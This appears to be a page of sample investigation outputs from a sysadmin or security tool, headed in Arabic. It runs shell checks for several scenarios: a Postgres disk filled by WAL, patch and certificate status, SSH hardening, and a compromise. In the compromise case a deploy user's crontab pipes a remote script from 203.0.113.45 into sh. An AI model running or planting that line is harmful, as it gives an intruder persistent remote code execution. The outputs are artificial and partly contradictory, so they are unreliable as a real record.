جرّب مثالاً للتحقيق

الأمر

$ uptime

المخرجات

 10:42:07 up 41 days,  3:12,  0 users,  load average: 0.84, 0.91, 0.88
exit 0

الأمر

$ journalctl -u checkout --since 06:00 -p warning | grep -c 'db query exceeded'

المخرجات

214
exit 0

الأمر

$ journalctl -u checkout --since 06:00 -p warning | tail -1

المخرجات

Oct 03 10:41:55 app-checkout-01 checkout[2231]: WARN db query exceeded 5000 ms (orders.insert)
exit 0

الأمر

$ df -h /var/lib/postgresql

المخرجات

Filesystem  Size  Used Avail Use% Mounted on
/dev/sdb1   200G  194G  6.1G  97% /var/lib/postgresql
exit 0

الأمر

$ du -sh /var/lib/postgresql/16/main/pg_wal

المخرجات

142G	/var/lib/postgresql/16/main/pg_wal
exit 0

الأمر

$ sudo -u postgres psql -Atc "select archived_count, failed_count from pg_stat_archiver"

المخرجات

1824|3961
exit 0

الأمر

$ mountpoint /mnt/archive

المخرجات

/mnt/archive is not a mountpoint
exit 32

الأمر

$ ss -s | head -2

المخرجات

Total: 1184
TCP:   1102 (estab 846, closed 201, orphaned 0, timewait 198)
exit 0

الأمر

$ curl -s -o /dev/null -w '%{time_total}\n' http://localhost/healthz

المخرجات

0.004
exit 0

الأمر

$ apt list --upgradable 2>/dev/null | grep -c -- -security

المخرجات

7
exit 0

الأمر

$ openssl x509 -enddate -noout -in /etc/ssl/certs/portal.pem

المخرجات

notAfter=Oct 21 23:59:59 2026 GMT
exit 0

الأمر

$ df -h --output=target,pcent | awk 'NR>1 && $2+0>90'

المخرجات

exit 0

الأمر

$ dnf -q updateinfo list --security | wc -l

المخرجات

3
exit 0

الأمر

$ openssl x509 -enddate -noout -in /etc/pki/tls/certs/db.pem

المخرجات

notAfter=Jun 14 23:59:59 2027 GMT
exit 0

الأمر

$ df -h --output=target,pcent | awk 'NR>1 && $2+0>90'

المخرجات

/var/log  94%
exit 0

الأمر

$ apt list --upgradable 2>/dev/null | grep -c -- -security

المخرجات

0
exit 1

الأمر

$ openssl x509 -enddate -noout -in /etc/ssl/certs/api.pem

المخرجات

notAfter=Mar  2 23:59:59 2027 GMT
exit 0

الأمر

$ df -h --output=target,pcent | awk 'NR>1 && $2+0>90'

المخرجات

exit 0

الأمر

$ softwareupdate -l

المخرجات

Software Update Tool

Finding available software
No new software available.
exit 0

الأمر

$ df -h / | tail -1

المخرجات

/dev/disk3s1s1  460Gi  198Gi  247Gi    45%    /
exit 0

الأمر

$ journalctl -u ssh --since "2026-10-03 02:00" | grep -c "Failed password"

المخرجات

312
exit 0

الأمر

$ journalctl -u ssh --since "2026-10-03 02:00" | grep Accepted

المخرجات

Oct 03 02:47:13 srv-web-01 sshd[48211]: Accepted password for deploy from 203.0.113.45 port 51522 ssh2
exit 0

الأمر

$ ls -l --time-style='+%F %T' /home/deploy/.ssh/authorized_keys

المخرجات

-rw------- 1 deploy deploy 1187 2026-10-03 02:49:02 /home/deploy/.ssh/authorized_keys
exit 0

الأمر

$ crontab -u deploy -l

المخرجات

*/10 * * * * curl -fsS http://203.0.113.45/u.sh | sh
exit 0

الأمر

$ journalctl -u ssh --since "2026-10-03 02:00" | grep -c 203.0.113.45

المخرجات

41
exit 0

الأمر

$ journalctl -u ssh --since "2026-10-03 02:00" | grep Accepted | grep -c 203.0.113.45

المخرجات

0
exit 1

الأمر

$ sshd -T | grep -i passwordauth

المخرجات

passwordauthentication yes
exit 0

الأمر

$ journalctl -u ssh --since "2026-10-03 02:00" | grep -c 203.0.113.45

المخرجات

0
exit 1

الأمر

$ last -i -n 2

المخرجات

admin    pts/0        192.0.2.15       Fri Oct  3 08:02   still logged in
admin    pts/0        192.0.2.15       Thu Oct  2 17:40 - 18:05  (00:25)
exit 0

الأمر

$ sshd -T | grep -i passwordauth

المخرجات

passwordauthentication no
exit 0

الأمر

$ sshd -T | grep -i passwordauth

المخرجات

passwordauthentication yes
exit 0

الأمر

$ sudo systemsetup -getremotelogin

المخرجات

بانتظار الأدلة من الجهاز في هذا المثال

الأمر

$ sshd -T | grep -E '^(permitrootlogin|passwordauthentication) '

المخرجات

permitrootlogin no
passwordauthentication no
exit 0

الأمر

$ systemctl is-active auditd chronyd

المخرجات

active
active
exit 0

الأمر

$ ufw status | head -1

المخرجات

Status: active
exit 0

الأمر

$ sshd -T | grep -E '^(permitrootlogin|passwordauthentication) '

المخرجات

permitrootlogin without-password
passwordauthentication no
exit 0

الأمر

$ systemctl is-active auditd chronyd

المخرجات

inactive
active
exit 3

الأمر

$ firewall-cmd --state

المخرجات

running
exit 0

الأمر

$ sshd -T | grep -E '^(permitrootlogin|passwordauthentication) '

المخرجات

permitrootlogin no
passwordauthentication yes
exit 0

الأمر

$ grep -rl "^PasswordAuthentication yes" /etc/ssh/sshd_config.d/

المخرجات

/etc/ssh/sshd_config.d/50-cloud-init.conf
exit 0

الأمر

$ systemctl is-active auditd chronyd

المخرجات

active
active
exit 0

الأمر

$ ufw status | head -1

المخرجات

Status: active
exit 0